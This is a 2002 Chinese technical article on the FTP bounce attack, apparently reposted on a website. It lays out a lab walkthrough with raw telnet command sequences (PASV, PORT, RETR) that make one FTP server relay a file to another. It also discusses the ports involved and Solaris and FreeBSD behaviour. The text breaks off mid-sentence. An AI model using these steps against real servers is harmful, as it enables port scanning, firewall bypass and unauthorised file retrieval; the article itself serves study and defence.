论 FTP bounce 攻击
发布日期:2002-09-17
文章内容:
作者:scz < scz@nsfocus.com >
主页: http://www.nsfocus.com
日期:2002-01-20
目录:
1. 前言
2. 一个直观的FTP bounce攻击举例
3. 关于上例中所涉及端口的讨论
4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题
5. x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题
6. x86/FreeBSD 4.x中FTP Server的实现
7. CERT对此问题的反应
8. 相关RFC
9. FTP bounce攻击的危害
1) 端口扫描
2) 突破常规防火墙
3) 从限制源IP站点下载敏感信息
4) 与java applet结合突破动态防火墙
10. 解决办法
11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用
12. FTP Hijacking的可能性
13. proxy命令的使用
14. NIDS对此问题的反应
15. 后记
--------------------------------------------------------------------------
★ 1. 前言
本文主要是对FTP bounce攻击做一积累、总结、回顾式讨论。如果对此已经熟悉,
敬请批评、斧正之。
★ 2. 一个直观的FTP bounce攻击举例
100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
|
+----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
|
+----- 192.168.5.209(SPARC/Solaris 7)
假设192.168.5.201和192.168.5.209都是缺省安装,并且开放FTP Server
在192.168.5.203上做如下操作
--------------------------------------------------------------------------
telnet 192.168.5.201 21
user scz <-- 用户名
pass *** <-- 口令
cwd src <-- 切换到一个相应用户可写目录(可上载目录/home/scz/src)
type i <-- 切换传输模式
pasv <-- server进入被动模式,等待来自client的tcp连接
227 Entering Passive Mode (192,168,5,201,193,3)
^^^^^^^^^^^^^^^^^^^ 注意这段数据
stor out <-- 指定将来保存数据时使用的文件名
--------------------------------------------------------------------------
我所接触的绝大多数FTP Server在命令关键字上(比如user、USER)大小写不敏感,未
查看RFC 959是如何定义的。此时这边产生阻塞,不要动这个窗口。
假设192.168.5.209上存在/export/home/scz/src/in文件
在192.168.5.203上另开一个窗口,做如下操作
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz <-- 用户名
pass *** <-- 口令
cwd src <-- 切换到/export/home/scz/src
type i <-- 切换传输模式到二进制模式
port 192,168,5,201,193,3
^^^^^^^^^^^^^^^^^^^ 这段数据来自上面那个pasv操作
retr in
quit
--------------------------------------------------------------------------
回到stor out的窗口输入
quit
此时在192.168.5.201上存在/home/scz/src/out文件,来自192.168.5.209上的/expo-
rt/home/scz/src/in文件。数据在192.168.5.201与192.168.5.209之间流动,但控制
完全由192.168.5.203发起,这就是 FTP bounce 攻击的直观解释。
从测试过程可以看出 SPARC/Solaris 7 缺省携带的FTP Server也易遭受 FTP bounce
攻击,不过它对port命令做了一定限制,不允许指定小于1024的特权端口。
受影响的Pi-Soft SpoonFTP版本未对port命令做限制,不但可以指定非client ip,
还可以指定小于1024的特权端口。
★ 3. 关于上例中所涉及端口的讨论
100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
|
+----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
|
+----- 192.168.5.209(SPARC/Solaris 7)
1) 192.168.5.203 --> 192.168.5.201 tcp/21
192.168.5.203 调用connect()连接192.168.5.201的tcp/21,建立第一个ftp控制流,
经过user、pass、cwd、type,最后是pasv命令,指使192.168.5.201在tcp/49411口
上进入listen状态,等待连接请求。
193 * 256 + 3 = 49411
从测试过程可以看出,192.168.5.201(x86/FreeBSD 4.3-RELEASE)的FTP Server进入
被动模式后,未对数据流的client ip做检查,本来从安全角度看应该限制此时数据
流的client ip必须和控制流的client ip一致。
stor命令发出后,192.168.5.201上的FTP Server进入阻塞状态,等待数据流tcp连接。
2) 192.168.5.203 --> 192.168.5.209 tcp/21
192.168.5.203调用connect()连接192.168.5.209的tcp/21,建立第二个ftp控制流,
经过user、pass、cwd、type,然后是port命令,通知192.168.5.209上FTP Server下
次数据流connect()的目标为192.168.5.201的tcp/49411口。
3) 192.168.5.209 tcp/20 --> 192.168.5.201 tcp/49411
向192.168.5.209的FTP Server下达retr in命令后,192.168.5.209将调用connect()
连接192.168.5.201的tcp/49411口,并将本机的in文件内容通过这个tcp连接发送出
去。
此时connect()调用前会先调用bind()调用,指定本机端口为20口。为了确认这点,
可以用tcpdump抓包观察,在192.168.5.201上执行
# /usr/sbin/tcpdump -i fxp0 -netS -s 96 -c 3000 tcp and src port 20 and src host 192.168.5.209
指定接口,取消反向域名解析,显示MAC地址,显示时间戳,显示绝对TCP序列号,
snaplen为96,抓取3000个包,TCP包,源端口20,源IP为192.168.5.209。
★ 4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题
我测试中用到的SPARC/Solaris 7缺省携带的FTP Server未经任何配置,暂时没有2.6
的测试环境,不确认SPARC/Solaris 2.6缺省携带的FTP Server未经任何配置时,是
否也存在该问题,不过我相信是存在的。这个FTP Server在port命令的实现上,
1) 没有限制所指定的IP只能是控制流上的client ip
但是,这个FTP Server
2) 限制所指定的PORT必须是大于等于1024的非特权端口
--------------------------------------------------------------------------
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,0,23
500 PORT argument mus
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
